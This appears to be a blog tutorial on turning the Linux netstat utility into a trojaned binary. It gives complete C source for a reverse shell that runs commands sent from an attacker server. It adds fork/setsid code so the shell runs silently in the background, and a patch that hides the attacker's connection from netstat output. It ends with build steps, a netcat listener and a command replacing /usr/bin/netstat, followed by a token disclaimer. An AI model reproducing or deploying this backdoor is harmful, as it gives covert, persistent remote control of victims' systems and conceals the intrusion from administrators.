What exactly is Netstat?
In short, Netstat is a utility that is used to display a list of active connections on a computer.
Why did I choose Netstat?
1) We can control the output of Netstat
2) Regardless of the privilege level, you can run this utility, thereby allowing us to get variations of both a user backdoor and a backdoor with superuser privileges.
Requirements
In order to replace the actual Netstat binary in the /usr/bin directory, we need to have root permissions on our victim’s machine.
Goals
1) Modify Netstat to initiate a reverse shell in the background to our server when the user is activated
2) Hide our network process from being displayed in Netstat results
3) Replace the existing Netstat binary with a modified one
And now let’s move directly to the development process.
The first thing we need to do is download the Netstat utility samples from github:
git clone https://github.com/dcantrell/netstat
Next, we move to the newly cloned folder:
cd netstat
Here we can observe the script autogen.sh:

Launching it:
./autogen.sh
!! If, after executing this command, the terminal output indicates that you are missing something, then you may need to install several packages, namely autotools-dev, automake and libtool (for Debian-based distributions)!!
The script generated a configuration file for us:

Now we need to run it:
./configure
After that, we should have a Makefile:

Let’s execute the command:
make
Let’s go to the src directory and make sure that our Netstat binary has appeared
Now we need to edit the netstat.c file in this directory to add our backdoor to it.
Open this file with your favorite editor and look for the line #include “proc.h”, after which we need to add:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Here we connect header files to work with the network.
sys/types.h – defines the various data types used in system calls.
sys/socket.h – contains definitions of data structures used for network sockets.
netinet/in.h – contains definitions of data structures for working with IPv4 network addresses.
arpa/inet.h – contains functions for converting IPv4 addresses to string format and back.
Next, let’s denote a few constants, namely:
1) The port on which we will listen for connections, I chose 55677
!! Make sure that you select a port that is not in the registered range. Since ports in the range from 0 to 1023 are registered for use by system services, running Netstat on any of these ports will require root privileges!!
2) The IP of the server that will listen for connections
3) Buffer size
When we read data from a socket, we determine the size of the block of data that we are going to read at a time. In this case, the symbolic constant BUFFER_SIZE sets the size of this data block to 1024 bytes. Thus, each time we read data from a socket, we will read no more than 1024 bytes.
4) Size in bytes to send via socket
Here we indicate the size of the data block that we plan to send over the network via a socket. The symbolic constant RESPONSE_SIZE sets this size to 4096 bytes. This means that every time we send data over a socket, we send a block of data no larger than 4096 bytes.
#define PORT 55677
#define SERVER_IP "There must be a server in your server"
#define BUFFER_SIZE 1024
#define RESPONSE_SIZE 4096
Now let’s create our backdoor function:
int backdoor(void) {
int sockfd; // Socket descriptor
struct sockaddr_in server_addr; // The structure of the server address
char buffer[BUFFER_SIZE]; // Буфер для полученных данных
char response[RESPONSE_SIZE]; // Buffer for received data
FILE *fp; // File descriptor
ssize_t bytes_received; // The number of bytes received
// Creating a socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
return 1; // Return 1 to signal an error when creating a socket
}
// Configuring the server address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
// Connecting to the server
if (connect(sockfd, (struct sockaddr*) &server_addr, sizeof(server_addr)) < 0) {
return 1;
}
// An endless loop for interacting with the server
while (1) {
char prompt[] = "# "; // A prompt, after which we will enter our commands to interact with the victim (a simple "shell" for the visual)
send(sockfd, prompt, strlen(prompt), 0); // Sending an invitation to the server
// Clearing the buffer before receiving data
memset(buffer, 0, BUFFER_SIZE);
// Receiving data from the server
bytes_received = recv(sockfd, buffer, BUFFER_SIZE, 0);
// Checking for errors or disconnection
if (bytes_received <= 0) {
break;
}
// Adding a trailing null character to the received data
buffer[bytes_received] = '\0';
// Executing the command received from the server
fp = popen(buffer, "r");
// Checking for the successful opening of the thread to execute the command
if (fp == NULL) {
continue;
}
// Reading the command output and sending it to the server
while (fgets(response, sizeof(response) - 1, fp) != NULL) {
send(sockfd, response, strlen(response), 0);
}
// Closing the stream
pclose(fp);
}
// Closing the socket
close(sockfd);
return 0;
}
In the C language, every program must contain a main function. This function is the entry point to the program and is executed first when it is started.
Before we move on to adding our backdoor function to main, we’ll run the make command to make sure our code compiles without errors.
Reopen the netstat.c file and edit:
Look for the get route_init() line; and after it add the following:
backdoor();
Run the make command.
Now, on our listening server, we will launch Netcat using the following command:
nc -nvlp 55677 -k
Netcat listens on the port that we have pre-configured.
We will execute the command on the victim car:
./netstat -t
We can see that we have received the reverse shell:

However, on the victim machine, the terminal is “busy” executing the command./netstat -t
After interrupting the reverse shell on the server, the victim machine is left with a terminal output about the results of executing the command ./netstat -t, however, this is not what we want at all, right?
We want Netstat to run in the background when starting, so we continue to make changes to the netstat file.c:
Go back to the main function, delete the backdoor() line there;
Now move to the very bottom of the main function, before the line return (i); write:
pid_t pid, sid;
pid = fork();
// We created a duplicate of the process by calling fork().
if (pid < 0) { // If fork() returns a negative value, it means that the duplicate process has failed.
return 1;
}
if (pid > 0) { // If the current code is executed in the main process (parent), we terminate execution because we have nothing else to do.
return 1;
}
// Otherwise, if we are in a child process, we create a new session (sid) for it so that it works independently of the previous process.
sid = setsid();
// If the sid is less than zero, an error may have occurred when creating the session.
if (sid < 0) {
return 1;
}
// We close the file descriptors so that nothing is output to the user who runs this command
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// And we directly call our backdoor function
backdoor();
To summarize, we create a duplicate of the process (fork). If this is the main process, we end the execution. Otherwise, if it is a child process, we close all output streams so that nothing is displayed on the screen, then call our function.
After that, run the make command and check what we found.
Run the ./netstat command on the victim machine.
As we can see, the terminal is no longer “busy” executing the command and you can safely use it as usual, while our reverse shell remains active.
However, once we run the ./netstat -t command, we still see our active connection:

Let’s get to the final part, in which we hide this nasty conclusion and finally finish our work.
Open netstat.c, look for the tcp_info function.
The /proc/net directory provides access to various aspects of network configuration and system performance, which can be read to get information about the network status
The tcp_info function simply reads information from the /proc/net directory and passes each line to the tcp_do_one function.
If we scroll a little higher to this very tcp_do_one function, we will see that it is a function with no return value (void), so it does not return any data. However, if we look at the very end of this function, we will see that it outputs the string:

Above this printf we write:
char malware_rem_addr[50];
// Here we create a malware_rem_addr string to store the server's IP address and port in the format "%s:%d".
// This address will be used for comparison with the address obtained from netstat -t.
sprintf(malware_rem_addr, "%s:%d", SERVER_IP, PORT);
// If the addresses match, then we just exit the function, since it returns void.
if (strcmp(rem_addr, malware_rem_addr) == 0) {
return;
}
Saving, checking:
We run on the victim machine./netstat -t
And, lo and behold, we don’t have this vile conclusion about an active connection.
Now let’s replace the original binary with a modified one:
To do this, run the command:
sudo mv netstat /usr/bin/netstat
That’s all, actually, we have successfully completed all the goals, thereby achieving the expected result.
THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.
TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72
Telegram : @DevSecAS
More from Uncategorized
Fortinet FortiOS / FortiProxy Unauthorized RCE
CVE-2024-21762 is a buffer overflow write vulnerability in Fortinet Fortigate and FortiProxy. This vulnerability allows an unauthorized attacker to execute …
Active Directory Dumper 2
We check the architecture for strength – an attempt to cram in the unintelligible – we fasten the network resource …
Active Directory Dumper
The purpose of this article is to show the use of the principles of building an application architecture. 1.1.1 What we …